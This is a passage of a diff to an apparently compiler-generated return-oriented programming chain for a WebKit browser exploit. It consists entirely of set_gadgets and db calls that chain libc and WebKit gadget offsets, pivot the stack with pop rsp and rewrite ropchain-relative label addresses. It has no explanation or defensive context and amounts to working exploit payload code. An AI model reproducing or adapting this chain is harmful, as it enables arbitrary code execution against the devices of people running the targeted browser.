//L3227 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+205960, //L3243 +ropchain+205496, //L3226 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L3241: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi -//L3240: +//L3224: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L3242: +//L3223: +db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L3225: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3243: +//L3226: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3244: +//L3227: db([0, 0]); // 0x0 set_gadgets([ webkit_base+11676600, //cmp rax, rsi ; sete al libc_base+269973, //movzx eax, al webkit_base+414627, //shl rax, 3 libc_base+793877, //pop rsi -ropchain+206088, //L3245+8 +ropchain+205624, //L3228+8 libc_base+547636, //add rax, rsi libc_base+186490, //mov rax, [rax] libc_base+793877, //pop rsi -ropchain+206080, //L3245 +ropchain+205616, //L3228 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+811575 //pop rsp ]); -//L3245: +//L3228: db([0, 0]); // 0x0 set_gadgets([ -ropchain+206104, //L3245+24 -ropchain+207816, //L3239 +ropchain+205640, //L3228+24 +ropchain+207352, //L3222 libc_base+793877, //pop rsi -ropchain+206160, //L3248 +ropchain+205680, //L3229 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L3246: -db([4294967288, 4294967295]); // -0x8 -set_gadget(libc_base+792472,); //pop rcx -//L3248: +//L3229: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L3230: +db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+206264, //L3251 +ropchain+205800, //L3234 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+206248, //L3250 +ropchain+205784, //L3232 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L3250: +//L3232: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3251: +//L3234: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+206384, //L3253 +ropchain+205904, //L3235 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+206416, //L3255 +ropchain+205952, //L3238 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+206400, //L3254 +ropchain+205936, //L3237 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L3252: -db([16, 0]); // 0x10 -set_gadget(libc_base+792472,); //pop rcx -//L3253: +//L3235: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L3236: +db([12, 0]); // 0xc set_gadget(libc_base+206806,); //pop rdi -//L3254: +//L3237: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3255: +//L3238: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+206520, //L3258 +ropchain+206056, //L3241 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+206504, //L3257 +ropchain+206040, //L3239 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L3257: +//L3239: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3258: +//L3241: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+206688, //L3261 +ropchain+206224, //L3244 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+206704, //L3262 +ropchain+206240, //L3245 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+206656, //L3259 +ropchain+206208, //L3242 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+206672, //L3260 +ropchain+206192, //L3243 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L3259: +//L3243: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L3260: +//L3242: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3261: +//L3244: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3262: +//L3245: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+206800, //L3264 +ropchain+206336, //L3247 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+206784, //L3263 +ropchain+206320, //L3246 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L3263: +//L3246: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3264: +//L3247: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -23963,8 +23896,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575, //pop rax -//L3266: -ropchain+206904, //L3265 +//L3249: +ropchain+206440, //L3248 libc_base+793877 //pop rsi ]); db([8, 0]); // 0x8 @@ -23972,8 +23905,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+811575, //pop rsp -ropchain+177272, //_get_tclass_2 -//L3265: +ropchain+176808, //_get_tclass_2 +//L3248: libc_base+882884, //mov rax, rcx libc_base+793877 //pop rsi ]); @@ -23981,40 +23914,40 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+207040, //L3268 +ropchain+206576, //L3251 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+207056, //L3269 +ropchain+206592, //L3252 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+207024, //L3267 +ropchain+206560, //L3250 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L3267: +//L3250: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3268: +//L3251: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3269: +//L3252: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+207152, //L3271 +ropchain+206688, //L3254 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+207136, //L3270 +ropchain+206672, //L3253 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L3270: +//L3253: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3271: +//L3254: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -24023,39 +23956,39 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+207232, //L3273 +ropchain+206768, //L3255 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L3273: +//L3255: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3272: +//L3256: db([65, 0]); // 0x41 set_gadget(libc_base+206806,); //pop rdi -//L3274: +//L3257: db([65, 0]); // 0x41 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+207368, //L3275 +ropchain+206904, //L3258 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+207400, //L3277 +ropchain+206936, //L3260 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+207384, //L3276 +ropchain+206920, //L3259 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L3275: +//L3258: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3276: +//L3259: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3277: +//L3260: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -24068,132 +24001,132 @@ webkit_base+14959219, //cmp rax, rcx ; sete al libc_base+389047, //setne al libc_base+269973, //movzx eax, al libc_base+793877, //pop rsi -ropchain+207568, //L3279 +ropchain+207104, //L3262 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+207584, //L3280 +ropchain+207120, //L3263 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+207552, //L3278 +ropchain+207088, //L3261 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L3278: +//L3261: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3279: +//L3262: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3280: +//L3263: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+207704, //L3282 +ropchain+207224, //L3264 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+207736, //L3284 +ropchain+207272, //L3267 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+207720, //L3283 +ropchain+207256, //L3266 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L3281: +//L3264: db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx -//L3282: +set_gadget(libc_base+793877,); //pop rsi +//L3265: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3283: +//L3266: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3284: +//L3267: db([0, 0]); // 0x0 set_gadgets([ webkit_base+11676600, //cmp rax, rsi ; sete al libc_base+389047, //setne al libc_base+269973, //movzx eax, al libc_base+793877, //pop rsi -ropchain+207808, //L3286 +ropchain+207344, //L3268 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L3286: +//L3268: db([0, 0]); // 0x0 -//L3239: +//L3222: set_gadgets([ libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+207928, //L3288 +ropchain+207464, //L3271 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+207944, //L3289 +ropchain+207480, //L3272 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+207912, //L3287 +ropchain+207448, //L3270 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L3287: +//L3270: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3288: +//L3271: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3289: +//L3272: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+208048, //L3292 +ropchain+207584, //L3275 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+208096, //L3294 +ropchain+207632, //L3277 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+208080, //L3293 +ropchain+207616, //L3276 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L3292: +//L3275: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi -//L3291: +//L3274: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3293: +//L3276: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3294: +//L3277: db([0, 0]); // 0x0 set_gadgets([ webkit_base+11676600, //cmp rax, rsi ; sete al libc_base+269973, //movzx eax, al webkit_base+414627, //shl rax, 3 libc_base+793877, //pop rsi -ropchain+208208, //L3295+8 +ropchain+207744, //L3278+8 libc_base+547636, //add rax, rsi libc_base+186490, //mov rax, [rax] libc_base+793877, //pop rsi -ropchain+208200, //L3295 +ropchain+207736, //L3278 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+811575 //pop rsp ]); -//L3295: +//L3278: db([0, 0]); // 0x0 set_gadgets([ -ropchain+208224, //L3295+24 -ropchain+210168, //L3290 +ropchain+207760, //L3278+24 +ropchain+209704, //L3273 libc_base+788575 //pop rax ]); -//L3296: +//L3279: db([24, 0]); // 0x18 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -24202,14 +24135,14 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+208328, //L3298 +ropchain+207864, //L3281 webkit_base+7438103, //mov [rsi], rax libc_base+793877 //pop rsi ]); -//L3297: +//L3280: db([4294967264, 4294967295]); // -0x20 set_gadget(libc_base+788575,); //pop rax -//L3298: +//L3281: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi @@ -24221,7 +24154,7 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575 //pop rax ]); -//L3299: +//L3282: db([25, 0]); // 0x19 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -24230,7 +24163,7 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575 //pop rax ]); -//L3300: +//L3283: db([41, 0]); // 0x29 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -24238,119 +24171,119 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+208528, //L3303 +ropchain+208048, //L3284 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L3301: -db([4294967288, 4294967295]); // -0x8 -set_gadget(libc_base+792472,); //pop rcx -//L3303: +//L3284: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L3285: +db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+208632, //L3306 +ropchain+208168, //L3289 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+208616, //L3305 +ropchain+208152, //L3287 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L3305: +//L3287: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3306: +//L3289: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+208752, //L3308 +ropchain+208272, //L3290 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+208784, //L3310 +ropchain+208320, //L3293 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+208768, //L3309 +ropchain+208304, //L3292 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L3307: -db([16, 0]); // 0x10 -set_gadget(libc_base+792472,); //pop rcx -//L3308: +//L3290: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L3291: +db([12, 0]); // 0xc set_gadget(libc_base+206806,); //pop rdi -//L3309: +//L3292: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3310: +//L3293: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+208888, //L3313 +ropchain+208424, //L3296 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+208872, //L3312 +ropchain+208408, //L3294 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L3312: +//L3294: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3313: +//L3296: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+209056, //L3316 +ropchain+208592, //L3299 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+209072, //L3317 +ropchain+208608, //L3300 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+209024, //L3314 +ropchain+208576, //L3297 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+209040, //L3315 +ropchain+208560, //L3298 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L3314: +//L3298: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L3315: +//L3297: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3316: +//L3299: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3317: +//L3300: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+209168, //L3319 +ropchain+208704, //L3302 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+209152, //L3318 +ropchain+208688, //L3301 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L3318: +//L3301: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3319: +//L3302: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -24358,8 +24291,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575, //pop rax -//L3321: -ropchain+209272, //L3320 +//L3304: +ropchain+208808, //L3303 libc_base+793877 //pop rsi ]); db([8, 0]); // 0x8 @@ -24367,8 +24300,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+811575, //pop rsp -ropchain+211688, //L3322 -//L3320: +ropchain+211224, //L3305 +//L3303: libc_base+882884, //mov rax, rcx libc_base+793877 //pop rsi ]); @@ -24376,183 +24309,183 @@ db([4294967256, 4294967295]); // -0x28 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+209408, //L3324 +ropchain+208944, //L3307 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+209424, //L3325 +ropchain+208960, //L3308 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+209392, //L3323 +ropchain+208928, //L3306 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L3323: +//L3306: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3324: +//L3307: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3325: +//L3308: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+209528, //L3328 +ropchain+209064, //L3311 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+209576, //L3330 +ropchain+209112, //L3313 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+209560, //L3329 +ropchain+209096, //L3312 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L3328: +//L3311: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi -//L3327: +//L3310: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3329: +//L3312: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3330: +//L3313: db([0, 0]); // 0x0 set_gadgets([ webkit_base+11676600, //cmp rax, rsi ; sete al libc_base+269973, //movzx eax, al webkit_base+414627, //shl rax, 3 libc_base+793877, //pop rsi -ropchain+209688, //L3331+8 +ropchain+209224, //L3314+8 libc_base+547636, //add rax, rsi libc_base+186490, //mov rax, [rax] libc_base+793877, //pop rsi -ropchain+209680, //L3331 +ropchain+209216, //L3314 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+811575 //pop rsp ]); -//L3331: +//L3314: db([0, 0]); // 0x0 set_gadgets([ -ropchain+209704, //L3331+24 -ropchain+210152, //L3326 +ropchain+209240, //L3314+24 +ropchain+209688, //L3309 libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+209760, //L3333 +ropchain+209280, //L3315 webkit_base+7438103, //mov [rsi], rax -libc_base+788575 //pop rax +libc_base+792472 //pop rcx ]); -//L3332: +//L3315: db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx -//L3333: +set_gadget(libc_base+788575,); //pop rax +//L3316: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3334: +//L3317: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+209944, //L3337 +ropchain+209480, //L3320 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+209960, //L3338 +ropchain+209496, //L3321 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+209912, //L3335 +ropchain+209464, //L3318 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+209928, //L3336 +ropchain+209448, //L3319 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L3335: +//L3319: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L3336: +//L3318: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3337: +//L3320: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3338: +//L3321: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+210032, //L3339 +ropchain+209568, //L3322 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+210048, //L3340 +ropchain+209584, //L3323 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L3339: +//L3322: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3340: +//L3323: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+210144, //L3342 +ropchain+209680, //L3325 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+210128, //L3341 +ropchain+209664, //L3324 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L3341: +//L3324: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3342: +//L3325: db([0, 0]); // 0x0 -//L3326: +//L3309: set_gadgets([ libc_base+811575, //pop rsp -ropchain+210184, //L3343 -//L3290: +ropchain+209720, //L3326 +//L3273: libc_base+811575, //pop rsp -ropchain+210200, //L3344 -//L3343: +ropchain+209736, //L3327 +//L3326: libc_base+811575, //pop rsp -ropchain+205032, //L3218 -//L3344: +ropchain+204568, //L3201 +//L3327: libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+210240, //L3346 +ropchain+209776, //L3328 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L3346: +//L3328: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3345: +//L3329: db([1, 0]); // 0x1 set_gadget(libc_base+206806,); //pop rdi -//L3347: +//L3330: db([1, 0]); // 0x1 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+210368, //L3349 +ropchain+209904, //L3332 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+210352, //L3348 +ropchain+209888, //L3331 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L3348: +//L3331: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3349: +//L3332: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -24560,59 +24493,59 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+210464, //L3352 +ropchain+209984, //L3333 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L3350: -db([4294967288, 4294967295]); // -0x8 -set_gadget(libc_base+792472,); //pop rcx -//L3352: +//L3333: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L3334: +db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+210568, //L3355 +ropchain+210104, //L3338 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+210552, //L3354 +ropchain+210088, //L3336 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L3354: +//L3336: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3355: +//L3338: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+210656, //L3357 +ropchain+210192, //L3339 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+210672, //L3358 +ropchain+210208, //L3341 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+792472 //pop rcx ]); -//L3357: +//L3339: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3358: +//L3341: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+210728, //L3360 +ropchain+210264, //L3342 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L3360: +//L3342: db([0, 0]); // 0x0 set_gadgets([ webkit_base+954100, //mov [rax], ecx @@ -24624,33 +24557,33 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+210816, //L3362 +ropchain+210352, //L3344 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L3362: +//L3344: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3361: +//L3345: db([1, 0]); // 0x1 set_gadget(libc_base+206806,); //pop rdi -//L3363: +//L3346: db([1, 0]); // 0x1 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+210944, //L3365 +ropchain+210480, //L3348 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+210928, //L3364 +ropchain+210464, //L3347 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L3364: +//L3347: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3365: +//L3348: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -24658,63 +24591,63 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+211040, //L3368 +ropchain+210560, //L3349 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L3366: -db([4294967288, 4294967295]); // -0x8 -set_gadget(libc_base+792472,); //pop rcx -//L3368: +//L3349: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L3350: +db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+547636, //add rax, rsi 